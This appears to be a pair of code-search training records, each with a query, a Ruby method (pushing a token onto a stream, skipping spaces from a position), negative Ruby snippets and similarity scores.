[ "0.6668268", "0.6649357", "0.6516782", "0.64855236", "0.6444209", "0.6427117", "0.6417295", "0.6408425", "0.6328995", "0.6289788", "0.62869716", "0.6270394", "0.62491", "0.6227465", "0.6183989", "0.6180618", "0.61556476", "0.6138326", "0.6135281", "0.6073361", "0.60606194", "0.60514736", "0.60438204", "0.60313034", "0.6022468", "0.60038203", "0.59558696", "0.5953311", "0.59370685", "0.5922363", "0.59133905", "0.5912704", "0.5894692", "0.5884382", "0.58841956", "0.5876379", "0.5869351", "0.58618814", "0.5855251", "0.5833903", "0.5819299", "0.5818508", "0.5818508", "0.580911", "0.5808412", "0.5793", "0.5780566", "0.5780284", "0.57759094", "0.5768225", "0.5765174", "0.5758914", "0.5746038", "0.5729821", "0.5727961", "0.57268244", "0.5726302", "0.5720699", "0.57195264", "0.57159036", "0.5711501", "0.57085216", "0.5698874", "0.5698455", "0.5695341", "0.5691802", "0.56913394", "0.5680783", "0.56731796", "0.5666821", "0.56572986", "0.56473386", "0.56398034", "0.5633233", "0.56326336", "0.56326336", "0.56326336", "0.56326336", "0.563193", "0.563193", "0.563193", "0.56238514", "0.5622244", "0.5621028", "0.5617248", "0.5613825", "0.56112796", "0.56099474", "0.56099474", "0.5609382", "0.5604517", "0.5598879", "0.5592988", "0.55867493", "0.55793965", "0.55772436", "0.55738664", "0.5565601", "0.55652136", "0.5555328", "0.5554118" ]
0.0
-1
Push new token to "stream".
def push(type, tag, nesting) token = Token.new(type, tag, nesting) token.block = true @level -= 1 if nesting < 0 # closing tag token.level = @level @level += 1 if nesting > 0 # opening tag @tokens.push(token) return token end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_token(token)\n @token_stream.push(token)\n end", "def <<(new_token)\n @tokens << new_token\n end", "def add_tokens(tokens)\n @token_stream.concat(tokens)\n end", "def token_stream # :nodoc:\n end", "def add_token(token)\n process_unknown\n @tokens << token\n @position += token.length\n end", "def push_token(tk); end", "def emit_token(token)\n @state = @state.emit_token(@io, token)\n end", "def token_buffer_stash(buf)\n @buffers.push(buf)\n end", "def add_tokens(*tokens)\n tokens.flatten.each { |token| @token_stream << token }\n end", "def sync_token\n # Will be 'null' in the first round, and will increment ever after.\n @token\n end", "def push(stream, object)\n post stream, object\n end", "def current_token\n @stream.current_token\n end", "def write_token\n 'ddbc8384eaf4b6f0e70d66b606ccbf7ad4bb22bfe113'\n end", "def new_token(token)\n puts(token.to_json)\n @api.post(\"#{Paths::TOKENS}\", :body => token)\n end", "def push_number(stream, point)\n post stream, point\n end", "def update_push_token(token, os_type)\n values = {\n token: token,\n os: os_type\n }\n\n @client.make_request :post,\n auth_path('push_token'),\n values\n end", "def pushStream(hash={})\n\t\t$room_count += 1 if hash['id'] == 'room'\n\t\t@@streams.push(hash['id'])\n\tend", "def set_token(token)\n @token = token\n connection.headers[\"Authorization\"] = \"Token #{token}\"\n end", "def pop_token\n @token_stream.pop\n end", "def pop_token\n @token_stream.pop\n end", "def token=(token)\n Thread.current[:token] = token\n end", "def record_token(token, tstamp, expiration=90)\n $redis_token.multi do\n $redis_token.set(token, tstamp)\n $redis_token.expire(token, expiration)\n end\nend", "def next_token\n\t\t@token = @input.next_token\n\tend", "def set_token(token)\n headers 'X-Typekit-Token' => token\n end", "def <<(token)\n route, field, data = token.as_result\n\n if @routes.key? route\n @routes[route][field] = data\n else\n @routes[route] = field == :body ? data : { field => data }\n end\n end", "def enqueue_token(aTokenType)\n\t\ta_token = build_token(aTokenType)\n\t\tqueue.enqueue(a_token)\n\n\t\t@token_pos = scanner.pos()\t# Update the current position (in case of multiple tokens enqueuing)\n\t\treturn a_token\n\tend", "def test(name, token_stream)\n self.send(name, TokenStream.new(token_stream))\n end", "def set_token\n self.token = Digest::SHA2.hexdigest \"#{username}-#{lastvisitDate.to_i}\" if self.token.blank?\n end", "def ingest_token(str)\n identifier = id_for_token(str)\n @token_stack << identifier\n\n if (@token_stack.length > @level)\n # We now have more tokens than our recall is.\n branch_key = @token_stack[0..-2] * ':' # Form our branch key\n branches = @token_branches[branch_key] # Check our branches\n last_token = @token_stack[-1] # Get our last token\n branches[last_token] += 1 # Add one hit\n\n @token_stack.shift # Remove the first token, leaving our stack in correct state again\n end\n end", "def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end", "def push_token\n if request && request.body\n request.body.rewind\n json_body = JSON.parse(request.body.read)\n if json_body['pushToken']\n json_body['pushToken']\n end\n end\n end", "def push_token\n if request && request.body\n request.body.rewind\n json_body = JSON.parse(request.body.read)\n if json_body['pushToken']\n json_body['pushToken']\n end\n end\n end", "def new_token\n update_columns(token: set_token, updated_at: Time.current)\n end", "def new_token\n update_columns(token: set_token, updated_at: Time.current)\n end", "def get_token_stream\n raise NotImplementedError\n end", "def <<(input_token)\n @current_states = next_states(@current_states, input_token)\n end", "def push_input data\n @in_buffer << data\n drain\n end", "def push( message )\n context.push(message)\n self\n end", "def add_extra_token(tok)\n @extra_tokens.push(tok)\n end", "def set_token(host, token=nil)\n if token\n config[host.to_sym] = {:token => token}\n write\n end\n end", "def update_session\n auth = Knock::AuthToken.new(payload: to_token_payload)\n auth.token\n end", "def issue_token(kind)\n session = Session.new(user: self, seconds: 3600)\n session.save\n if kind == :reset_token\n self.reset_token = session.token\n elsif kind == :verification_token\n self.verification_token = session.token\n end\n end", "def update_token(token)\n DB[:Token].where(Token: token).update(Timestamp: Time.now.to_i + 600)\n end", "def add_apn_token\n if params[:id] == current_user.id.to_s\n # A user can add tokens for themself\n @user = current_user\n return render_error(500, \"must specify a token to add\") unless token = params.delete(:token)\n\n # add the token to the user's collection if it's not already there\n @user.push_uniq(:bh => token)\n\n # the first time we add a token to the user, we mark them as having accepted ios push notifications\n # and disable their email notifications\n unless @user.accepted_ios_push\n User.collection.update({:_id => @user.id}, {\n :$set => {\n :bi => true,\n \"preferences.like_notifications\" => false,\n \"preferences.reroll_notifications\" => false,\n \"preferences.roll_activity_notifications\" => false\n }\n })\n @user.reload\n end\n\n @status = 200\n else\n @status = 401\n end\n end", "def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end", "def add_device_token(device_token)\n\t\tself.device_tokens |= [device_token]\n\t\tself.update_attribute(:device_tokens, self.device_tokens)\n\tend", "def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end", "def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end", "def save_token\n self.token ||= Digest::MD5.hexdigest(login + Time.now.to_i.to_s)[0..5]\n $redis.set \"#{KEY}:#{login}:token\", token\n $redis.set \"#{KEY}:#{token}:login\", login\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def set_Token(value)\n set_input(\"Token\", value)\n end", "def push_notification_token\n username = params[:user][:username]\n token = params[:token][:value]\n\n user = User.find_by(username: username)\n user.push_notification_token = token\n\n if user.save\n render json: { }, status: 204\n else\n render json: { error: I18n.t('push_notification_token_error') }, status: :unprocessable_entity\n end\n end", "def push(content)\n @buffer.write(content) if content.length > 0; nil\n end", "def each(stream)\n stream.each do |token|\n yield token if isToken? token\n end\n end", "def push(source)\n prefix, encoding = source.prefix_and_encoding\n emit prefix if prefix\n emit 0x50 | encoding\n end", "def stream(message)\n @messages = @messages.to_s + message\n end", "def add_push_token\n if params[:push_token] && params[:push_token][:token] && params[:push_token][:user_device_type_id] && params[:push_token][:device_uuid]\n db_user = current_user.db_user\n device_type = UserDeviceType.find_by_id(params[:push_token][:user_device_type_id].to_i)\n if device_type\n # make sure we do not store a duplicate token\n UserPushToken.where(user_id: current_user.id, device_uuid: params[:push_token][:device_uuid]).destroy_all\n\n # add the token to the users push token listing\n db_user.user_push_tokens << UserPushToken.new(push_params)\n if db_user.save\n render status: 200, json: { message: 'Device token added!' }\n else\n render status: :unprocessable_entity, json: { message: \"A push token could not be added because: #{db_user.errors.full_messages.to_sentence}\" }\n end\n else\n render status: 400, json: { message: 'Device type if not found!' }\n end\n else\n render status: 400, json: { message: 'Incorrect parameters provided or parameters missing.' }\n end\n end", "def push(manifest, token)\n post(\n \"#{extension}/push\",\n data: { manifest: manifest },\n headers: { 'Conflux-User' => token },\n show_err_response: true\n )\n end", "def next_token; end", "def push_leaderboard(stream, hash)\n leaderboard = hash.inject([]) do |array, (key, value)|\n array << {'name' => key, 'value' => value}\n end\n post stream, 'leaderboard' => leaderboard\n end", "def add_request_token\n @user = User.find(current_user.id)\n new_token = params[:request_token]\n old_array = @user.invite_ids.dup\n new_array = old_array.push(new_token)\n\n @user.invite_ids = new_array\n @user.save\n render nothing: true\n end", "def update_token(data, token)\n base_url = flutterwave_object.base_url \n response = put_request(\"#{base_url}/tokens/#{token}\", data.to_json)\n return response\n end", "def schedule_write(event)\n EM.schedule do\n @stream << event\n unless @stream_callbacks.empty?\n @stream_callbacks.shift.call(@stream.shift)\n end\n end\n end", "def next_token\n @current_token = @lexer.next_token\n end", "def __push\n @_undies_io.current.push\n end", "def store_token\n user_config.set :pivotal_token, token\n end", "def refresh_token!\n create_token = Kickit::API::CreateToken.new\n resp = create_token.execute(:username => username,\n :developerKey => Kickit::Config.developerKey)\n @token = resp\n end", "def token\n Notify.spit 'Already have your Evernote token? Paste it now:'\n\n begin\n set_evertils_token\n rescue RuntimeError\n Notify.error ERROR_MESSAGE\n rescue Interrupt\n Notify.error ERROR_MESSAGE\n end\n\n Notify.success('Token saved!')\n end", "def set_token\n @token = Token.find(params[:id])\n end", "def push_to_stack transition, token\n transition.options[transit(transition, token)].reverse.each do |thing|\n @stack.push thing\n end\n if @stack.last.token?\n # We just read in the first token. Get rid of it from the stack\n @stack.pop\n else\n # We just read in the first token of some other transition. Need to resolve that transition \n q = @stack.pop\n self.push_to_stack(q, token)\n end\n end", "def token(*args)\n Houston::Slack.connection.token = args.first if args.any?\n Houston::Slack.connection.token\n end", "def generate_remote_token!\n remote_tokens.create.token\n end", "def set_token\n self.token = SecureRandom.hex(16)\n end", "def set_token\n self.token = SecureRandom.hex(16)\n end", "def reset_token\n self.token = ''\n end", "def process_token(token)\n token_type = token.type.to_s\n method = \"process_#{token_type}\"\n\n return @stack << token unless respond_to? method, true\n\n @line_num = @lexer.line_num if @current_scope.type == Scope::TYPE_MAIN\n\n Util::Logger.debug(Util::Options::DEBUG_2) { Util::I18n.t('interpreter.process').lyellow + token_type }\n send method, token\n end", "def update_token\n client.authorization.update_token!(oauth_data)\n if client.authorization.refresh_token && client.authorization.expired?\n client.authorization.fetch_access_token!\n end\n end", "def token\n end", "def push msg\n end", "def token_stream(*args)\n args.map do |value|\n type = type_for(value)\n Dentaku::Token.new(type, value)\n end\nend", "def update_token!(object)\n self.refresh_token = object.refresh_token unless object.refresh_token.nil?\n self.access_token = object.access_token\n self.expires_at = object.expires_at\n end", "def push\n end", "def refresh\n token = authenticate.call\n file = Tempfile.new('conjur-access-token.')\n begin\n file.write JSON.pretty_generate(token)\n file.close\n FileUtils.mv file.path, filename\n Conjur.log << \"Refreshed Conjur auth token to #{filename.inspect}\\n\" if Conjur.log\n ensure\n file.unlink\n end\n rescue\n $stderr.puts $!\n end", "def generate_token\n new_token =\n SimpleTokenAuthentication::TokenGenerator.instance.generate_token\n update(authentication_token: new_token)\n self\n end", "def next_token\n\t\t@tokens.next_token\n\tend", "def _send_message state\n stream.with_stream! do | io |\n state.in_stream = io\n _write(state.message_payload, io, state)\n end\n end", "def store_token(token)\n return unless token && !token.empty?\n File.open(TOKEN_FILE, 'w') do |f|\n f.write(token)\n end\n load_token\n rebuild_user_repos_cache\n end", "def consume\n @current = @tokens[@pos]\n @pos += 1 if @current\n @current\n end", "def add_auth_token(query)\n if @auth_token.nil?\n @auth_token = FiveD::AccessToken.generate_access_token('wackadoo', ['payment'])\n end\n query[:auth_token] = @auth_token.token\n end", "def save_token\n self.token = SecureRandom.uuid unless self.token\n end", "def push\n end", "def token=(value)\n resources.each do |klass|\n klass.headers['Authorization'] = 'OAuth ' + value.to_s\n end\n @token = value\n end", "def unget(token) # :nodoc:\n @tokens.unshift token\n end" ]
[ "0.83365464", "0.6870992", "0.65271384", "0.6424977", "0.6422", "0.63959616", "0.6376929", "0.62505186", "0.6234036", "0.6044927", "0.6000518", "0.59244925", "0.59072137", "0.5870412", "0.585984", "0.58377254", "0.57386106", "0.5728293", "0.57255656", "0.57255656", "0.56801236", "0.5631084", "0.5621004", "0.5574386", "0.55638415", "0.5563712", "0.55634755", "0.55609626", "0.55601656", "0.5560023", "0.549342", "0.549342", "0.5439954", "0.54399455", "0.5438939", "0.5427487", "0.5424714", "0.54216254", "0.5416795", "0.54053247", "0.53983754", "0.5388325", "0.5388016", "0.5385542", "0.53738105", "0.5370993", "0.53508097", "0.53508097", "0.5346068", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5338427", "0.5334809", "0.5322852", "0.53100795", "0.53096867", "0.5293265", "0.52786446", "0.52533925", "0.5250513", "0.5246844", "0.5241698", "0.5230542", "0.52196395", "0.5208329", "0.5201016", "0.5195486", "0.5193151", "0.518401", "0.5170038", "0.5165489", "0.5164712", "0.5162446", "0.5155609", "0.5155609", "0.5141101", "0.5136437", "0.5136433", "0.513543", "0.5132288", "0.51314837", "0.51295984", "0.5125153", "0.512405", "0.51174074", "0.5117103", "0.511483", "0.5109591", "0.5103726", "0.51000357", "0.5073771", "0.50691575", "0.5059383", "0.50586575" ]
0.5327628
59
Skip spaces from given position.
def skipSpaces(pos) max = @src.length while pos < max ch = charCodeAt(@src, pos) break if !isSpace(ch) pos += 1 end return pos end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def skip_space(ix, direction)\n diff = { :left => -1, :right => 1 }[direction]\n ix += diff until ix < 1 || char_at(ix) =~ /[^ \\t]/ || char_at(ix).blank?\n ix\n end", "def skip_whitespace\n self.advance while self.current == \" \"\n end", "def skip_space; end", "def skip_space=(_arg0); end", "def skipSpacesBack(pos, min)\n return pos if pos <= min\n\n while (pos > min)\n return pos + 1 if !isSpace(charCodeAt(@src, pos -= 1))\n end\n return pos\n end", "def __skip_contiguous_whitespace(index)\n lim = self.__size\n while(index < lim)\n char = self.__ordAt(index)\n return index unless char <= 32 and __is_whitespace(char) # \\t \\n etc. are less than space which is 32\n index += 1\n end\n return index\n end", "def skip_whitespace()\n current = @marker.character\n (current = read_next()) while current == ' ' || current == ?\\t || current == ?\\r\n end", "def skip_space\n @str.slice!(/\\A[ \\t]+/); # Not \\s, we want to capture EOL characters\n @str.empty? ? :eos : :ok\n end", "def skip_white_spaces\n while char == \" \" || char == \"\\n\" do\n go_next\n end\n end", "def skip_space!\n if !do_skip_space!\n return false\n end\n while do_skip_space!; end\n true\n end", "def space()\n # pocitanie riadkov\n self.line.push position if /\\n/ === data[position]\n /\\s/ === data[position]\n\n end", "def space_before()\n #This is a stub, used for indexing\n end", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n return _tmp\n end", "def position_taken?(array,index)\n array[index] != \" \"\nend", "def remove_whitespace_before(index, buffer, rewriter, remove_preceeding_newline)\n end_pos = index\n begin_pos = end_pos - 1\n begin_pos -= 1 while code[begin_pos] =~ /\\s/ && code[begin_pos] != \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\" && remove_preceeding_newline\n return if begin_pos.next == end_pos\n rewriter.remove Parser::Source::Range.new(buffer, begin_pos.next, end_pos)\n end", "def skip_spaces\n ws = { ?\\s => true, ?\\n => true, ?\\r => true, ?\\t => true }\n while r = self.getc\n unless ws[r] then\n self.ungetc(r)\n break\n end\n end\n nil\n end", "def taken?(input)\n position(input) != \" \"\n end", "def no_space(x)\n x.delete(' ')\nend", "def position_taken?(board,index)\n if board[index] != \" \"\n true\n end\nend", "def skip_white\n while is_white(@look)\n get_char\n end\nend", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\f\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\v\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "def position_taken?(board, index)\n !(board[index] == \" \")\nend", "def command_skip\r\n @index += 1 while @list[@index + 1].indent > @indent\r\n end", "def position_taken?(index)\n if (@board[index] == \" \")\n return false\n else\n return true\n end\n end", "def peek_no_space; end", "def position_taken?(position)\n !(@board[position.to_i] == \" \") \n end", "def _Space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_Space unless _tmp\n return _tmp\n end", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n _tmp = apply(:_eol)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "def trim\n self.fetch(:trim, self.skipInitialSpace ? 'start' : false)\n end", "def delete_left_word\n chars = @text.scan(/./m)\n position = @cursor_position\n # skip all whitespaces first\n while position > 0 && chars[position - 1] == ' '\n position -= 1\n end\n # skip all non-whitespaces\n while position > 0 && chars[position - 1] != ' '\n position -= 1\n end\n delete_left(@cursor_position - position) if @cursor_position > position\n self.reset_cursor_blinking\n end", "def position_taken?(pos)\r\n #true if space is empty and false if filled\r\n if @board[pos] == \" \"\r\n return false\r\n else\r\n return true\r\n end\r\n end", "def position_taken?(index)\n\t\t!@board[index].include?(\" \")\n\tend", "def position_taken? index_position \n board[index_position] != \" \"\n end", "def taken?(input)\n if position(input) != \" \"\n return true\n end\n return false\n end", "def position_taken?(array,index)\r\n if array[index] == \" \" ||array[index] == \"\"\r\n return false\r\n else\r\n return true\r\n end\r\nend", "def strip!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.left += self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te\n\n self.text_elements.reverse!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.right -= self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te.reverse\n self\n end", "def peek_no_space\n return @tokens.first unless @tokens.first.class == TkSPACE\n @tokens[1]\n end", "def skip n=1\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer= @buffer[n..-1]\r\n\t\tif !@buffer then nl end\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer.lstrip!\r\n\t\t@col=@max-@buffer.length+1\r\n\t\tif (@buffer.lstrip==\"/n\" || @buffer.lstrip==\"\") then nl end\r\n end", "def scan_for_space(token); end", "def taken?(input)\n position(input) == \" \" ? false : true\n end", "def decrease_spaces()\n @spaces -= 1\n end", "def position_taken?(board, index)\n board[index] != \" \"\nend", "def position_taken?(board, index)\n board[index] != \" \"\nend", "def skipChars(pos, code)\n max = @src.length\n while pos < max\n break if (charCodeAt(@src, pos) != code)\n pos += 1\n end\n return pos\n end", "def scan_whitespace\n\t\t\tappend_scan(/[\\t\\x20]+/, :Spacing, nil)\n\t\tend", "def skip_row(value_width)\n sprintf(\"%#{value_width}s ~\\n\", \" \")\n end", "def position_taken? (board, index)\n board[index] != \" \"\nend", "def strip_side_space!\n replace self.gsub(/^\\s+/, \"\").gsub(/\\s+$/, $/)\n end", "def position_taken?(board, position)\n if board[(position.to_i - 1)] == \" \"\n false\n else\n true\n end\nend", "def position_taken?(board,position)\n position= position.to_i\n position = position - 1\n board[position]!= \" \" && board[position]!= \"\" && board[position]!= nil\nend", "def consume_trailing_spaces # :nodoc:\n skip_tkspace_without_nl\n end", "def empty_space?(index)\t\t#CHECKS IF GIVEN INDEX IS AN EMPTY SPACE\n\t\t@board[index] == \" . \"\n\tend", "def find_spaces(mp, limit)\n\t\tspaces = []\n\t\treturn spaces if limit <= 0\n\t\tpos = -1\n\t\twhile (pos = mp.index(/\\s/, pos+1))\n\t\t\tspaces << pos\n\t\tend\n\t\tspaces.shuffle.slice(0, limit)\n\tend", "def position_taken?(position)\n @board[position] != \" \"\n end", "def position_taken? (board, numeric_position)\n board[numeric_position - 1] == \" \"\nend", "def position_taken?(board, index) \n\tboard[index] != \" \"\nend", "def skip_white_space_or_to_eoln\r\n while (next_char = @source.get)\r\n return next_char if (next_char > ' ') || @source.eoln?\r\n end\r\n end", "def position_taken?(board, index)\n board[index] != \" \" && board[index] !=\"\"\nend", "def valid_move?(position)\n position.to_i.between?(1,9) && @board[position.to_i - 1] == \" \"\n end", "def position_taken?(array,index)\n if array[index] == \" \"\n return true\n elsif array[index] == \"\"\n return true\n else\n return false\n end\nend", "def indent(line, index)\n unless line.match(/(^$|^\\S|^( )+\\S)/)\n add_spacing_issue\n @final_spacing_string += \"indentation spacing issue at line #{index} \\n\"\n return \"indentation spacing issue at line #{index} \\n\"\n end\n nil\n end", "def position_taken?(position)\n @board[position] != \" \"\n end", "def position_taken?( index )\n !(@board[index].nil? || @board[index] == \" \")\n end", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, position)\n\ta = board[position.to_i - 1]\n\tif a != \" \"\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def spaces; end", "def spaces; end", "def skip\n @str.slice! @last_re if peek_next_type != :eos\n end", "def position_taken?(board, index)\n board[index] != \" \" && board[index] != \"\"\nend", "def _spaces\n _save = self.pos # repetition\n _count = 0\n while true\n\n begin # choice\n _tmp = apply(:_space)\n break if _tmp\n _tmp = apply(:_comment)\n end while false # end choice\n\n break unless _tmp\n _count += 1\n end\n _tmp = _count >= 1\n unless _tmp\n self.pos = _save\n end # end repetition\n set_failed_rule :_spaces unless _tmp\n return _tmp\n end", "def position_taken? (board, index)\n !(board[index].nil? || board[index] == \" \")\nend", "def position_taken?(board, index)\r\n !(board[index].nil? || board[index] == \" \")\r\nend", "def position_taken?(board, index)\r\n !(board[index].nil? || board[index] == \" \")\r\nend", "def position_taken? (index)\n @board[index] != \" \" ? true : false\n end", "def position_taken?(index)\n !(@board[index].nil? || @board[index] == \" \")\n end", "def position_taken?(index)\n !(@board[index].nil? || @board[index] == \" \")\nend", "def position_taken?(index)\n !(@board[index].nil? || @board[index] == \" \")\nend", "def position_taken?(position)\n !(@board[position].nil? || @board[position] == \" \")\n end", "def position_taken?(index)\n !(@board[index].nil? || @board[index] == \" \")\n end", "def position_taken?(index)\n !(@board[index].nil? || @board[index] == \" \")\n end", "def space_before=(space_before)\n #This is a stub, used for indexing\n end", "def position_taken?(board, position)\n board[position] != \" \"\nend", "def position_taken?(board,position)\n position = position.to_i - 1\n board[position]!= \" \" && board[position]!= \"\" && board[position]!= nil\nend", "def valid_move?(row, position)\n # need to shortcirtuit for position\n cells[row] && cells[row][position] == \" \"\n end", "def spaces_suround\n string = self\n unless [-1] == \" \"\n string = string + \" \"\n end\n unless [0] == \" \"\n string = \" \" + string\n end\n string\n end", "def check_missing_space(tokens, ix, grammar_path)\n end" ]
[ "0.785046", "0.7280818", "0.7052874", "0.6980078", "0.69480604", "0.6884099", "0.6850493", "0.67137694", "0.6597582", "0.6578728", "0.64784604", "0.63058054", "0.61339027", "0.60148954", "0.6012264", "0.6006008", "0.5991304", "0.596291", "0.5935698", "0.5920882", "0.5895509", "0.58937734", "0.5893462", "0.58862406", "0.5876713", "0.58700764", "0.5869829", "0.58349675", "0.5833566", "0.5819659", "0.5818146", "0.57984465", "0.57907957", "0.5790056", "0.57439417", "0.57295156", "0.5720455", "0.5713521", "0.5712805", "0.57121813", "0.5701188", "0.5697108", "0.5697108", "0.56918126", "0.5680577", "0.56759036", "0.5665671", "0.5662641", "0.56620157", "0.56584907", "0.56363267", "0.5614609", "0.56087565", "0.5606254", "0.56056607", "0.56021184", "0.55992645", "0.55930084", "0.55876905", "0.55854857", "0.5582644", "0.55769426", "0.55699795", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5568364", "0.5551816", "0.55515254", "0.55515254", "0.5545495", "0.5539743", "0.5536301", "0.5530481", "0.5530177", "0.5530177", "0.55284506", "0.55267465", "0.55255866", "0.55255866", "0.5522741", "0.55164844", "0.55164844", "0.55140823", "0.5513725", "0.54961896", "0.5484413", "0.5476663", "0.5475542" ]
0.74079305
1
Skip spaces from given position in reverse.
def skipSpacesBack(pos, min) return pos if pos <= min while (pos > min) return pos + 1 if !isSpace(charCodeAt(@src, pos -= 1)) end return pos end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def skip_space(ix, direction)\n diff = { :left => -1, :right => 1 }[direction]\n ix += diff until ix < 1 || char_at(ix) =~ /[^ \\t]/ || char_at(ix).blank?\n ix\n end", "def skip_whitespace\n self.advance while self.current == \" \"\n end", "def skipSpaces(pos)\n max = @src.length\n while pos < max\n ch = charCodeAt(@src, pos)\n break if !isSpace(ch)\n pos += 1\n end\n return pos\n end", "def __skip_contiguous_whitespace(index)\n lim = self.__size\n while(index < lim)\n char = self.__ordAt(index)\n return index unless char <= 32 and __is_whitespace(char) # \\t \\n etc. are less than space which is 32\n index += 1\n end\n return index\n end", "def strip!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.left += self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te\n\n self.text_elements.reverse!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.right -= self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te.reverse\n self\n end", "def skip_space=(_arg0); end", "def reverse!\n @upwards = !@upwards\n skip!(2)\n end", "def skip_space; end", "def reverse_words(my_words)\n return if !my_words\n left = 0\n my_words_length = my_words.length\n my_words_length.times do |i|\n if my_words[i] == \" \" || i == my_words_length - 1\n right = (i == (my_words_length - 1) ? i : i - 1)\n ((right + 1 - left) / 2).times do |j|\n temp = my_words[left + j]\n my_words[left + j] = my_words[right - j]\n my_words[right - j] = temp\n end\n left = i + 1\n end\n end\n return my_words\nend", "def skip_whitespace()\n current = @marker.character\n (current = read_next()) while current == ' ' || current == ?\\t || current == ?\\r\n end", "def skip_space\n @str.slice!(/\\A[ \\t]+/); # Not \\s, we want to capture EOL characters\n @str.empty? ? :eos : :ok\n end", "def move_backward(n); print \"\\e[#{n}D\" end", "def reverse_words(my_words)\n if my_words == nil\n return nil\n end\n index = 0\n start_index = 0\n my_words.length.times do\n if my_words[index] == \" \" # if there is a white space, run the code below\n end_index = index - 1 # drop the white space\n my_words = reverse(my_words, start_index, end_index)\n start_index = index + 1\n end\n index += 1\n end\n my_words = reverse(my_words, start_index, index - 1) # account for last word in my_words\n return my_words\nend", "def right_strip(str)\n i = str.length - 1\n while i >= 0 && (str[i] == \" \" || str[i] == \"\\t\" || str[i] == \"\\n\")\n i -= 1\n end\n\n return str[0, i + 1]\nend", "def decrease_spaces()\n @spaces -= 1\n end", "def right_strip(string)\n whitespaces = [\"\\n\", \"\\t\"]\n i = string.length-1\n i2 = 0\n output = \"\"\n while i>=0\n if string[i] == whitespaces[1] || string[i] == whitespaces[2]\n i-=1 \n else\n while i2<=i\n output += string[i2]\n i2+=1\n end\n return output\n end\n end\n return output\nend", "def shift_right!(count=2)\n self.gsub!(/^./m,' '*count + '\\0')\n end", "def skip n=1\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer= @buffer[n..-1]\r\n\t\tif !@buffer then nl end\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer.lstrip!\r\n\t\t@col=@max-@buffer.length+1\r\n\t\tif (@buffer.lstrip==\"/n\" || @buffer.lstrip==\"\") then nl end\r\n end", "def 